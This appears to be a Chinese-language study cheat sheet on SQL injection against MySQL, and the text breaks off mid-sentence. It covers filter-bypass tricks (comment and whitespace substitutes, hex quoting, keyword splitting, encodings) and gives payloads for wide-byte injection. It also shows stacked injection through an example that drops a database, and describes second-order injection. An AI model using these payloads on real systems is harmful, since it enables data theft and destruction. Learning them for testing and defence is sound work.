SQL注入
SQL注入
Mysql常用函数
|
|
SQL注入分类
分类依据 | 类型 |
---|---|
获取信息的方式 | 布尔盲注,时间盲注,报错注入 ,union查询注入,堆叠注入等 |
提交方式 | GET、POST、COOKIE、HTTP 注入等 |
注入点类型 | 数字类型的注入、字符串类型的注入、搜索型注入等 |
其他注入 | 二次注入、User-Agent 注入、文件读写、宽字节注入 、万能密码 等 |
绕过空格
-
使用注释符
/* */
-
两个空格代替一个空格
-
%a0
-
用Tab代替空格
-
括号绕过
前提时括号没被过滤
任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
例:
select(user())fromdualwhere(1=1)and(2=2)
引号绕过
-
使用十六进制
例:
1 2
……where table_name="users" # 把users转为十六进制 ……where table_name=0x7573657273
逗号绕过
盲注的时候,substr(),mid(),limit()等方法需要逗号
-
对于
substr()
和mid()
使用from to解决1 2
select substr(database(0 from 1 for 1); select mid(database(0 from 1 for 1);
-
对于
limit()
使用offset绕过1 2
select*from news limit0,1 ===> select*from news limit 1 offset 0
比较符号(<>)绕过
盲注的时候,使用二分查找的时候需要使用到比较操作符来进行查找
- 使用greatest()绕过
|
|
or 'password' > 'pass' or 1<3
or and 绕过
and
=>&&
or
=>||
绕过注释符号(#,–)
|
|
同或(!=!)可以构造
|
|
原理:
|
|
=绕过
- 用 like
>
<
绕过union,select,where
使用注释符绕过
|
|
用法:U/**/NION/**/SE/**/LECT/**/user,pwd from user
大小写绕过
|
|
内敛注释绕过
|
|
双写关键字绕过
|
|
通用绕过(编码)
-
URLEncode
-
ASCII
-
HEX
-
unicode
一些unicode编码
|
|
等价函数绕过
|
|
例如:substring()
和substr()
无法使用时
|
|
宽字节注入
过滤单引号
过滤 '
的时候往往利用的思路是将 ’ 转换为 \'
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,所以会没有被反斜杠
-
%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面
1
id=-1%df%27union select 1,user(),3--+
-
将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉
-
一般产生宽字节注入的PHP函数
- replace():过滤 ’ \ ,将 ’ 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用方案1
- addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用方案1。(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
- mysql_real_escape_string():转义下列字符:\x00 \n \r '" \x1a
截断绕过
- %00,%0A,?,/0,……..,%80-%99
- 目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
- ././././././././././././././././abc
- ..1/abc/../1/abc/../1/abc
\N绕过
-
\N其实相当于NULL字符
-
1
select * from users where id=8E0 union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=8.0 union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=\Nunion select1,2,3,4,5,6,7,8,9,0
堆叠注入
在SQL中,分号;
是用来表示一条sql语句的结束,因此由这个衍生出来几个句子用;
连接来进行多个句子执行。
union injection(union注入)也是将两条语句合并在一起,两者之间有什么区别呢?
区别:
union 或者union all执行的语句类型是有限的,只可以用来执行查询语句
堆叠注入可以执行的是任意的语句。
例如:
用户输入:root';DROP database user;
服务器端生成的sql语句为:
|
|
当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。
二次注入
过程
- 插入1‘#
- 转义成1\’#
- 不能注入,但是保存在数据库时变成了原来的1’#
- 利用1’#进行注入,这里利用时要求取出数据时不转义
条件
- 用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
- 数据库对自己存储得数据非常放心,直接读取出恶意数据给用户
利用
比如注册某个